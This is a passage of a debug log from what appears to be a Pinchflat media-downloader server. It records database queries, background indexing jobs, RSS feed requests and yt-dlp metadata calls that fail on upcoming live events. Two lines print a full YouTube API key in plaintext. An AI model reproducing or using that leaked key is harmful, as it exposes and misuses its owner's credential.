[debug] QUERY OK source="settings" db=0.0ms idle=183.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.531 [debug] QUERY OK source="settings" db=0.0ms idle=183.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.531 [debug] Running yt-dlp command for action: get_media_attributes 16:23:08.532 [debug] QUERY OK source="settings" db=0.0ms idle=183.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.532 [debug] QUERY OK source="settings" db=0.0ms idle=183.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:08.532 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/6d/766d4dda21b2eb5d8cda8c001bbfc729717d1c60ef29d02b96bf6ef946281a95.json --sleep-requests 72 --sleep-interval 74 --sleep-subtitles 61 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:23:09.509 [info] GET /sources/4121b109-50ec-4197-a462-3579d5850ea0/feed.xml 16:23:09.510 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4121b109-50ec-4197-a462-3579d5850ea0"} Pipelines: [:maybe_basic_auth] 16:23:09.510 [debug] QUERY OK source="sources" db=0.1ms idle=978.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4121b109-50ec-4197-a462-3579d5850ea0"] 16:23:09.512 [debug] QUERY OK source="media_items" db=2.2ms idle=978.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [12, 2000] 16:23:09.521 [debug] QUERY OK source="source_metadata" db=0.0ms idle=989.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [12] 16:23:09.521 [debug] QUERY OK source="media_metadata" db=0.0ms idle=989.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577910] 16:23:09.522 [info] Sent 200 in 12ms 16:23:14.534 [info] {"source":"oban","duration":10383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:22.361 [info] {"args":{"id":19},"id":5268173,"meta":{},"system_time":1791581002361660285,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:23:22.362 [debug] QUERY OK source="sources" db=0.1ms idle=1667.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:23:22.362 [debug] QUERY OK source="settings" db=0.0ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.362 [debug] QUERY OK source="media_profiles" db=0.1ms idle=668.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:23:22.362 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.362 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:23:22.362 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.362 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:23:22.643 [debug] QUERY OK source="media_items" db=0.6ms idle=280.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 16:23:22.644 [debug] QUERY OK source="settings" db=0.0ms idle=281.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.644 [debug] QUERY OK source="settings" db=0.0ms idle=281.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.644 [debug] Running yt-dlp command for action: get_media_attributes 16:23:22.644 [debug] QUERY OK source="settings" db=0.0ms idle=281.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.644 [debug] QUERY OK source="settings" db=0.0ms idle=281.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.644 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:22.644 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9c/bf/9cbf99b2d23773312634e80309b1b166baa734bb17edfa19bddf9840ab5542b8.json --sleep-requests 75 --sleep-interval 69 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:23:39.704 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 16:23:39.704 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 16:23:39.704 [debug] QUERY OK source="sources" db=0.1ms idle=330.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 16:23:39.708 [debug] QUERY OK source="media_items" db=3.6ms idle=10.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 16:23:39.725 [debug] QUERY OK source="source_metadata" db=0.0ms idle=31.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 16:23:39.726 [debug] QUERY OK source="media_metadata" db=0.0ms idle=32.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577907] 16:23:39.726 [info] Sent 200 in 22ms 16:23:44.544 [info] {"source":"oban","duration":9918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:24:00.389 [info] {"source":"oban","duration":133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:14.555 [info] {"source":"oban","duration":10099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:21.948 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/6d/766d4dda21b2eb5d8cda8c001bbfc729717d1c60ef29d02b96bf6ef946281a95.json --sleep-requests 72 --sleep-interval 74 --sleep-subtitles 61 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 16:24:21.948 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 16:24:21.950 [debug] QUERY OK source="media_items" db=1.3ms idle=531.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:24:21.951 [debug] QUERY OK source="tasks" db=0.1ms idle=257.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268212, 37, ~U[2026-10-09 21:24:21Z], ~U[2026-10-09 21:24:21Z]] 16:24:21.952 [info] {"args":{"id":37},"id":5268172,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":73604761,"event":"job:stop","queue_time":399223,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:21.958 [info] {"args":{"id":13},"id":5268174,"meta":{},"system_time":1791581061958219150,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:21.958 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:24:21.959 [debug] QUERY OK source="settings" db=0.5ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:21.959 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:24:21.959 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:21.959 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:24:21.959 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:21.959 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:24:22.135 [debug] QUERY OK source="media_items" db=0.6ms idle=176.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 16:24:22.136 [debug] QUERY OK source="media_items" db=0.2ms idle=177.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:24:22.137 [debug] QUERY OK source="tasks" db=0.1ms idle=177.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268213, 13, ~U[2026-10-09 21:24:22Z], ~U[2026-10-09 21:24:22Z]] 16:24:22.137 [info] {"args":{"id":13},"id":5268174,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179291,"event":"job:stop","queue_time":58238706,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:24:39.696 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9c/bf/9cbf99b2d23773312634e80309b1b166baa734bb17edfa19bddf9840ab5542b8.json --sleep-requests 75 --sleep-interval 69 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:24:39.696 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:24:39.696 [debug] QUERY OK source="settings" db=0.1ms idle=261.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:39.696 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:39.696 [debug] Running yt-dlp command for action: get_media_attributes 16:24:39.697 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:39.697 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:39.697 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 